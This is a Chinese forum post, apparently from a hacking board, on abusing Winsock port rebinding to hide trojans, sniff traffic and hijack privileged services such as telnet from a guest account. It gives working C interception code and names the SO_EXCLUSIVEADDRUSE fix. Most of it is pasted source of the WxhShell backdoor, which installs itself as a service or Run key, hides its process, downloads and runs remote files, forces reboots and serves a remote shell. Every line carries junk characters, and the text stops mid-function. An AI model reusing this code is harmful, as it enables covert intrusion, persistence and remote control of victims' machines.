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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: %KHO}gad1  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); h6<abT@I  
n|2`y?  
  saddr.sin_family = AF_INET; Z>gxECi  
`bT!_Ru  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Wt4ROj  
Gdmh#pv  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); T6m#sVq  
C~4_Vc*  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 :Rv ?>I j  
r8g4NsRVtv  
  这意味着什么?意味着可以进行如下的攻击: ;iR( Ir  
tvXoF;Yq  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 I$/*Pt];  
^]l^q'?>:  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) PPk\W7G  
<~;;iM6  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 '{dduHo  
%E#OUo[y/  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  #<0Yx9Jh.  
,Tc3koi  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 K~ ,| ~  
ZycV?ob8}  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 s3qWTdM  
nfpkWyIu{  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 `q|&;wP.  
mAMi-9  
  #include **_`AM~  
  #include D,q=?~  
  #include g?` g+:nug  
  #include    .w2QiJ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Go~bQ2*'(/  
  int main() BC*vG=a  
  { _nu,ks+  
  WORD wVersionRequested; Tlrr02>B{  
  DWORD ret; IN=pki |.  
  WSADATA wsaData; VH[r@Pn  
  BOOL val; BCsz8U!  
  SOCKADDR_IN saddr; MJNY#v3  
  SOCKADDR_IN scaddr; Ay)q %:qx  
  int err; :K.%^ag=j  
  SOCKET s;  R}Pw#*B  
  SOCKET sc; [M>Md-pj  
  int caddsize; :*bv(~FW  
  HANDLE mt; %x@ D i`;  
  DWORD tid;   >dKK [E/[d  
  wVersionRequested = MAKEWORD( 2, 2 ); dv=y,q@W  
  err = WSAStartup( wVersionRequested, &wsaData ); %pj 6[x`@  
  if ( err != 0 ) { PN9^ sLx=  
  printf("error!WSAStartup failed!\n"); u.;zz'|  
  return -1; ^kZfE"iE2  
  } "<o[X ?u  
  saddr.sin_family = AF_INET; =|>CB  
   hY 2nT  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 - s[=$pDU  
piYv }4;:(  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); vSty.:bY\p  
  saddr.sin_port = htons(23); X"WKgC g$  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) T=r-6eN  
  { r=GF*i[3  
  printf("error!socket failed!\n"); q/y4HT,x  
  return -1; MuNM)pyxp  
  } 5`qt82Qm  
  val = TRUE; ,XT#V\qne  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 z'@j9vT  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) dFY]~_P472  
  { Rs+rlJq  
  printf("error!setsockopt failed!\n"); 0dS}p d">k  
  return -1; .5Y%I;~v  
  } EvZ;i^.8LS  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; *9:oTN  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 LhM{LUi  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 l`lo5:w  
KrO oxrDcp  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) dw %aoe  
  { f[,9WkC  
  ret=GetLastError(); vZV+24YWb  
  printf("error!bind failed!\n");  .G}E  
  return -1; D|8vS8p  
  } y,qP$ 5xiq  
  listen(s,2); fR_ jYP 1  
  while(1) GwiG..Y]&  
  { ;>^oe:@  
  caddsize = sizeof(scaddr); iku8T*&uc  
  //接受连接请求 _XT],"  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); '[#a-8-JY_  
  if(sc!=INVALID_SOCKET) ~3}Gu^@  
  { g\MHv#v*k  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); {FzL@!||  
  if(mt==NULL) Ol,;BZHc\  
  { 36>pa  
  printf("Thread Creat Failed!\n"); 8r '  
  break; .DSn H6O  
  } (IX iwu  
  } [6x-c;H_4  
  CloseHandle(mt); 0_yE74i  
  } F#=XJYG1  
  closesocket(s); t~pA2?9@  
  WSACleanup(); {MmHR  
  return 0; `@GqD  
  }   >cwyb9;!kK  
  DWORD WINAPI ClientThread(LPVOID lpParam) Z09FW>"u  
  { K/RQ-xd4  
  SOCKET ss = (SOCKET)lpParam; H5t 9Mg|  
  SOCKET sc; (H*-b4]/  
  unsigned char buf[4096]; "8K>Yu17  
  SOCKADDR_IN saddr; R'a%_sACj>  
  long num; wu?ahNb.`Y  
  DWORD val; AH`n  
  DWORD ret; *]2LN$  
  //如果是隐藏端口应用的话,可以在此处加一些判断 $>E\3npV  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   "bZV<;y6  
  saddr.sin_family = AF_INET; \8\)5#?  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); `x:znp}'  
  saddr.sin_port = htons(23); Oq"(oNG@  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) j0J}d _  
  { ~82[pY  
  printf("error!socket failed!\n"); o?\)!_Z|  
  return -1; Ore$yI}!m  
  } UnNvlkjq9  
  val = 100; )#-27Y  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4GJ1P2  
  { 'B}pIx6k~  
  ret = GetLastError(); tf64<j6  
  return -1; D|I(2%aC  
  } kTQ:k }%B  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) uY0V!W  
  { "^-U#f>k  
  ret = GetLastError(); M9Gs^  
  return -1; .4={K)kz|F  
  } *D`qcv  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 'G6TSl  
  {  [+$l/dag  
  printf("error!socket connect failed!\n"); Z:f0>  
  closesocket(sc); Z&8 7Aj  
  closesocket(ss); GF~^-5  
  return -1; *nNzhcuR  
  } -oq!zi4:  
  while(1) 4mOw[}@A  
  { PpMZ-f@  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 tb,.f3;  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 .lu:S;JSnS  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 >JT{~SRB|Y  
  num = recv(ss,buf,4096,0); J*6I@_{/ U  
  if(num>0) ;ak3 @Uee  
  send(sc,buf,num,0); xVoWGz7  
  else if(num==0) O$x-&pW`g  
  break; 8 o8FL~&]  
  num = recv(sc,buf,4096,0); m^ zx &  
  if(num>0) m}.ru)^p  
  send(ss,buf,num,0); 7=XQgbY/  
  else if(num==0)  l|`FW  
  break; XuJwZN!(  
  } 5_Yv>tx  
  closesocket(ss); BOJ h-(>I  
  closesocket(sc); ~WuElns  
  return 0 ; "@B! 5s0  
  } <[C 9F1]Ya  
"_+X#P x  
Ku LZg  
========================================================== wo2^,Y2z+  
g$VcT\X  
下边附上一个代码,,WXhSHELL G B!3` A%&  
Gb 61X6  
========================================================== ,4j$kR  
VL5kjF3/  
#include "stdafx.h" =f@O~nGm  
tYIHsm\b  
#include <stdio.h> #%VprcEK  
#include <string.h> T Uhp  
#include <windows.h> *pP"u::S  
#include <winsock2.h> 0kgK~\^,.O  
#include <winsvc.h> YN] w_=  
#include <urlmon.h> }7hpx!s,  
j5z, l  
#pragma comment (lib, "Ws2_32.lib") *F:]mgg  
#pragma comment (lib, "urlmon.lib") 'R_U,9y`  
D,xWc|V  
#define MAX_USER   100 // 最大客户端连接数 qt]QO1pAd  
#define BUF_SOCK   200 // sock buffer v,vTRrpK  
#define KEY_BUFF   255 // 输入 buffer 0!=e1_  
3sGrX"0D  
#define REBOOT     0   // 重启 f[7'kv5S  
#define SHUTDOWN   1   // 关机 t^?8Di\  
E E?v~6"&  
#define DEF_PORT   5000 // 监听端口 A`(p6 H"s  
V$ 38  
#define REG_LEN     16   // 注册表键长度 *wt yyP@  
#define SVC_LEN     80   // NT服务名长度 qh$D;t1=  
{#QFDA  
// 从dll定义API 2`5(XpYe  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7tAWPSwf  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *" <tFQ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {N5g52MN  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7~\Dzcfk"P  
NOyLZa'  
// wxhshell配置信息 S !c/"~X+  
struct WSCFG { d!8q+FI  
  int ws_port;         // 监听端口 1ISA^< M  
  char ws_passstr[REG_LEN]; // 口令 Qm`f5-d  
  int ws_autoins;       // 安装标记, 1=yes 0=no uW>AH@Pij  
  char ws_regname[REG_LEN]; // 注册表键名 M0Z>$Az]t  
  char ws_svcname[REG_LEN]; // 服务名 _WK+BxH  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 QZ{&7mc>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 NJqALm!(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (m;P,*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !qrF=a  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^S ,E"Q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &4*&L.hPM^  
CcY.8|HT  
}; md$[Bs9  
} Q1$v~  
// default Wxhshell configuration  p<*-B  
struct WSCFG wscfg={DEF_PORT, 1)_f9GR  
    "xuhuanlingzhe", TG?;o/  
    1, ?P`wLS^;  
    "Wxhshell", 5[l3]HOO  
    "Wxhshell", 1+eC'&@Xjt  
            "WxhShell Service", -D:J$d 6R<  
    "Wrsky Windows CmdShell Service", W}L =JJo},  
    "Please Input Your Password: ", eE7 R d>  
  1, jLr8?Hyf  
  "http://www.wrsky.com/wxhshell.exe", 4L!{U@ '  
  "Wxhshell.exe" IUd>jHp`6  
    }; ItM?nyA  
c09] Cp<  
// 消息定义模块 fS#/-wugOB  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &tMvs<q,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @1n0<V /  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Va=0R   
char *msg_ws_ext="\n\rExit."; AN: ,t(w  
char *msg_ws_end="\n\rQuit."; f~Kln^  
char *msg_ws_boot="\n\rReboot..."; ! FHNKh  
char *msg_ws_poff="\n\rShutdown..."; 9k7|B>LT  
char *msg_ws_down="\n\rSave to "; "6Dz~5  
nt;A7pI`  
char *msg_ws_err="\n\rErr!"; yE"hgdL  
char *msg_ws_ok="\n\rOK!"; )W57n)]  
d1y(Jt  
char ExeFile[MAX_PATH]; 8.k"kXU@n  
int nUser = 0; IR/0gP  
HANDLE handles[MAX_USER]; "Wi`S;  
int OsIsNt; &}T`[ d_Z  
)>\Ne~%  
SERVICE_STATUS       serviceStatus; ,?&hqM\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (3]7[h7  
WDzov9ot  
// 函数声明 NmB0CbB  
int Install(void); !Z=`Wk5  
int Uninstall(void);  g<,v2A  
int DownloadFile(char *sURL, SOCKET wsh); Eq.c;3  
int Boot(int flag); 1Za\T?V  
void HideProc(void); I">z#@CT  
int GetOsVer(void); P:*'x9`  
int Wxhshell(SOCKET wsl); ZlO@PlZ)  
void TalkWithClient(void *cs); uaU!V4-  
int CmdShell(SOCKET sock); 7ZZSAI  
int StartFromService(void); 2A`EFk7_X  
int StartWxhshell(LPSTR lpCmdLine); P45q}v  
ke3=s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); h)y"?Jj  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :hMuxHr  
/_}v|E0  
// 数据结构和表定义 H>M%5bj  
SERVICE_TABLE_ENTRY DispatchTable[] = 8kMMQES  
{ &q":o 'q  
{wscfg.ws_svcname, NTServiceMain}, tAc;O[L  
{NULL, NULL} (5yg\3Jvp  
}; "sg$[)I3n  
i}wu+<Mk  
// 自我安装 ny=CtU!z  
int Install(void) (Mtc&+n{  
{  =_ rn8  
  char svExeFile[MAX_PATH]; V7lDuiAI  
  HKEY key; -q+Fj;El  
  strcpy(svExeFile,ExeFile); 0A1l"$_|  
kN}.[enI~  
// 如果是win9x系统,修改注册表设为自启动 l>=c]  
if(!OsIsNt) { @F,HyCSN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,YkQJ$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @L0wd>  
  RegCloseKey(key); L3<XWpv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hlUF9}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Nju7!yVM_  
  RegCloseKey(key); m7RWuI,  
  return 0; iz*aBXVA[  
    } ?<nz2 piP,  
  } |_w*:NCV5  
} wV-cpJ,}  
else { Z&.FJZUP  
*E$D,  
// 如果是NT以上系统,安装为系统服务 zZf#E@=$|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !o.g2  
if (schSCManager!=0) G %#us3x  
{ F5MWxAS,>  
  SC_HANDLE schService = CreateService s#d# *pgzh  
  ( 5X`.2q=d  
  schSCManager, 7PisX!c,h  
  wscfg.ws_svcname, C&5T;=<jKO  
  wscfg.ws_svcdisp, y!v$5wi  
  SERVICE_ALL_ACCESS, @{ nT4{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Vm6^'1CY  
  SERVICE_AUTO_START, u*9C(je  
  SERVICE_ERROR_NORMAL, }XXE hOO  
  svExeFile, k"sL.}$  
  NULL, QY^ y(I49  
  NULL, EI_J7J+  
  NULL, IsRsjhg8x  
  NULL, @ym7hk.  
  NULL Yb?#vpI  
  ); o&CvjE  
  if (schService!=0) Wc]Fg9E  
  { ~Snw':  
  CloseServiceHandle(schService); qy-BZ%3  
  CloseServiceHandle(schSCManager); 2XXEg> CU  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *uv\V@0  
  strcat(svExeFile,wscfg.ws_svcname); ;ib~c,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { KK] >0QAY  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d9^=#ot  
  RegCloseKey(key); BFEo:!'F  
  return 0; z?gJHN<  
    } 7P\sn<  
  } FcWu#}.p}  
  CloseServiceHandle(schSCManager); B[$SA-ZHi  
} Lte\;Se.tu  
} ';lO[B  
}>OE"#si  
return 1; Hv`Zc*  
} M0"feq  
R -h7c!ko  
// 自我卸载 Tl1?5  
int Uninstall(void) ~]yqJYiid^  
{ my} P\r.  
  HKEY key; R1 wd Q8q  
,2cw9?<  
if(!OsIsNt) { <y'ttxeS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $jzk4V  
  RegDeleteValue(key,wscfg.ws_regname); ~j 4=PT  
  RegCloseKey(key); HwGtLeB"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9rid98~d  
  RegDeleteValue(key,wscfg.ws_regname); {Ise (>V  
  RegCloseKey(key); g_x<+3a  
  return 0; '+eP%Y[W%  
  } h]=chz  
} <B fwR$  
} rcbixOT  
else { C4G)anT  
'*-SvA\Cx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  I&v B\A  
if (schSCManager!=0) ~kHir]jc  
{ ;zOZu~Q|'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Qz<-xe`o8]  
  if (schService!=0) Hc+<(g   
  { S2NsqHJr  
  if(DeleteService(schService)!=0) { bHMlh^{`%  
  CloseServiceHandle(schService); fSP~~YSeU  
  CloseServiceHandle(schSCManager); ~q4y'dBy*  
  return 0; [6Wr t8"  
  } EtL=_D-  
  CloseServiceHandle(schService); 'Oc8[8   
  } @2u<Bh}}  
  CloseServiceHandle(schSCManager); J)-owu;  
} kQb0pfYs  
} QxkfP%_g  
:C&?(HJ&r  
return 1; af_zZf!0  
} f>'7~69  
=?2y <B  
// 从指定url下载文件 c]LH.  
int DownloadFile(char *sURL, SOCKET wsh) e Jwr  
{ PQ[TTLG\&  
  HRESULT hr; K4rr.f6  
char seps[]= "/"; t.zSJ|T_&O  
char *token; z6!X+`&  
char *file; o O|^ [b#  
char myURL[MAX_PATH]; Q,4F=b  
char myFILE[MAX_PATH]; QZfPd\Q5  
mA."*)8VNg  
strcpy(myURL,sURL); @Yg7F>s  
  token=strtok(myURL,seps); =#u2Rx%V  
  while(token!=NULL) h1Lp:@:|  
  { \uYUX~}i"  
    file=token; >hhd9  
  token=strtok(NULL,seps); Uyh   
  } ^U =`Rx  
s=$7lYX  
GetCurrentDirectory(MAX_PATH,myFILE); nqH^%/7)A@  
strcat(myFILE, "\\"); dOhV`8l  
strcat(myFILE, file); -`RJ k(  
  send(wsh,myFILE,strlen(myFILE),0); Y!`?q8z$G  
send(wsh,"...",3,0); V.4j?\#%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); zPmVECS  
  if(hr==S_OK) d!d 3r W;A  
return 0; ^Y&Cm.w  
else ^d"J2n,7L  
return 1; Cb13Qz  
dbLX}>  
} k`t'P6 bU  
ceOjuzY  
// 系统电源模块 ^AM_A>HnG  
int Boot(int flag) 8iCI s=06  
{ sH]AB =_  
  HANDLE hToken; </%H'V@  
  TOKEN_PRIVILEGES tkp; X+3)DE\2  
)&9 =)G  
  if(OsIsNt) { N!v@!z9Mu  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ArEpH"}@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "VeUOdNA>  
    tkp.PrivilegeCount = 1; d5%*^nMpY  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1^;h:,e6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rEf\|x=st:  
if(flag==REBOOT) { d3$<|mG$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Lr^xp,_n  
  return 0; <Z;7=k  
} &SM$oy#?  
else { ^M9oTNk2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) P=@lkF!\#  
  return 0; w(U/(C7R  
} <7 rK  
  } %8tN$8P  
  else { e.+)0)A-  
if(flag==REBOOT) { <It7s1O  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @}Ixr{t  
  return 0; Lwcw%M]  
} >SJ$41"E  
else { ]~zJ7I  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h=tu +pn  
  return 0; zJ:r0Bt  
} &>jkfG  
} C{Ug ?hVP  
U{_s1  
return 1; {Y"r]:5i  
} -FR;:  
VB\6S G  
// win9x进程隐藏模块 S=g-&lK  
void HideProc(void) OgS8.wX  
{ of`]LU:  
"6d bRo5%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Zz-;jkX)  
  if ( hKernel != NULL ) \k=Qq(=  
  { wUeOD.;#F  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >l1Yhxd_0*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); IpJv\zH7  
    FreeLibrary(hKernel); qtN29[x  
  } I`TD*D  
!S!03|  
return; @qDrTH]5  
} @,&m`qzd+  
{?y7'  
// 获取操作系统版本 +E~`H^  
int GetOsVer(void) Z ~9N  
{ PoJyWC  
  OSVERSIONINFO winfo; f5 %&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ewG21 q$  
  GetVersionEx(&winfo); \Ji2u GT  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :\J bWj_j  
  return 1; N^]>R :Stu  
  else ?v8k& q^q  
  return 0; "V0:Lq  
} 7 !.8#A':  
d-sh6q5  
// 客户端句柄模块 BznA)EK?@  
int Wxhshell(SOCKET wsl) grdyiBSVn  
{ _ICDtG^  
  SOCKET wsh; S1`0d9ds#  
  struct sockaddr_in client; E`n`#=xKR  
  DWORD myID; J_|}Xd)~t6  
{\/nUbo[  
  while(nUser<MAX_USER) ^6oqq[$  
{ -!>ZATL<B  
  int nSize=sizeof(client); bMZn7c  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); g <4M!gi  
  if(wsh==INVALID_SOCKET) return 1; 9sj W  
8@KFln )[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); SWsv,  
if(handles[nUser]==0) >Ron+ oe  
  closesocket(wsh); r)]CZ])  
else |Du13i4].&  
  nUser++; Qsxkw  
  } &[Zap6]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); h;p%EZ  
|K;Txe_  
  return 0; %OW9cqL>l  
} Yb3f]4EH  
p}DF$k%`  
// 关闭 socket wV&f|JO0+  
void CloseIt(SOCKET wsh) doO Ap9%  
{ <lmJa#  
closesocket(wsh); So *Wk "  
nUser--; @1&;R  
ExitThread(0); >DUE8hp ;<  
} 6q[!X0u  
, ."(Gp  
// 客户端请求句柄 <GgtP55  
void TalkWithClient(void *cs) u?3NBc$~A  
{ AJ` v  
50GYL5)q  
  SOCKET wsh=(SOCKET)cs; )R)$T'  
  char pwd[SVC_LEN]; 1R%`i '$/  
  char cmd[KEY_BUFF]; W}2 &Pax  
char chr[1]; L sDzV)  
int i,j; vZeYp  
$`5lvy^  
  while (nUser < MAX_USER) { 1|WpKaMoq  
t-m9n*\j1  
if(wscfg.ws_passstr) { kad;Wa#h  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -Bo~"q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hRa(<ZK  
  //ZeroMemory(pwd,KEY_BUFF); #f3;}1(  
      i=0; KCh  
  while(i<SVC_LEN) { Mev-M2A  
)*K<;WI WH  
  // 设置超时 *Iwk47J ;a  
  fd_set FdRead; |] !o*7"4  
  struct timeval TimeOut; mOgOHb2  
  FD_ZERO(&FdRead); "-Q Rkif  
  FD_SET(wsh,&FdRead); >6[ X }  
  TimeOut.tv_sec=8; zRy5,,i5=[  
  TimeOut.tv_usec=0; Q P=[ Vw  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); f>)Tq'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); QPe9s[Y  
]fADaw-R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .5!sOOs$P  
  pwd=chr[0]; ;*-@OLT_K  
  if(chr[0]==0xd || chr[0]==0xa) { 45)ogg2  
  pwd=0; Ku/H=  
  break; : \:~y9X0  
  } Wz-3?EQ  
  i++; s"=F^#  
    } B221}t  
_(6B.  
  // 如果是非法用户,关闭 socket [+ 'B Q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wyrI8UY  
} hD$p;LF  
:PD`PgQ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `\ef0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }(+=/$C"#  
uZo`IKJ  
while(1) { c{,y{2c]LT  
y*}vG}e%  
  ZeroMemory(cmd,KEY_BUFF); DN"S,  
(K*/Vp  
      // 自动支持客户端 telnet标准   &e ?"5  
  j=0; UbY~xs7_  
  while(j<KEY_BUFF) { f3zfRhkIk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b =K6IX;  
  cmd[j]=chr[0]; 9iGE`1N%E  
  if(chr[0]==0xa || chr[0]==0xd) { Ld\LKwo  
  cmd[j]=0; @L[PW@:SZ  
  break; NMl ?Y uEv  
  } m@G<ZCMZ  
  j++; FDVI>HK @  
    } xTJ Sr2f  
#a(%(k S  
  // 下载文件 M<A;IOpR+  
  if(strstr(cmd,"http://")) { `J>E9p<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); lrs0^@.+  
  if(DownloadFile(cmd,wsh)) ;]gsJ9FK<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }fJ:wku  
  else rnn2u+OG   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {d 1N&  
  } V8sH{R-  
  else { GUu\dl9WA'  
~?AC:  
    switch(cmd[0]) { .DDg%z  
  lL(p]!K'  
  // 帮助 &G-#*OG  
  case '?': { smfG, TI  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !2zo]v4?  
    break; FJsK5-  
  } ?kL|>1TY  
  // 安装 1V|< A  
  case 'i': { ( zn_8s  
    if(Install()) n|70x5Z?}J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "x#]i aDjf  
    else L_THU4^j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mL:m;>JJ n  
    break; MAE7A"l a  
    } KInUe(g<9M  
  // 卸载 ^&+zA,aL,A  
  case 'r': { 7tpAZ<{  
    if(Uninstall()) r5MxjuOB1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E-UB -"6  
    else xm<v"><  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zwM"`z  
    break; T} n N=Q4  
    } ,f8}q]FTA  
  // 显示 wxhshell 所在路径 /S:w&5e  
  case 'p': { MU_!&(X_  
    char svExeFile[MAX_PATH]; J)9 AnGWe  
    strcpy(svExeFile,"\n\r"); fL ~1  
      strcat(svExeFile,ExeFile); Qg'c?[~W@  
        send(wsh,svExeFile,strlen(svExeFile),0); )KSisEL  
    break; &Ki> h  
    } j0g5<M  
  // 重启 W(;x\Nc7  
  case 'b': { zKIGWH=qqm  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); O&`U5w  
    if(Boot(REBOOT)) $Y8>_6%+T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @%6)^]m}r  
    else { kQ@gO[hS  
    closesocket(wsh); UZzNVIXA%  
    ExitThread(0); ]i-P-9PA4  
    } z-n>9  
    break; uQH%.A  
    } `wNm%*g  
  // 关机 GwcI0~5  
  case 'd': { (C,e6r Y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xDR9_  
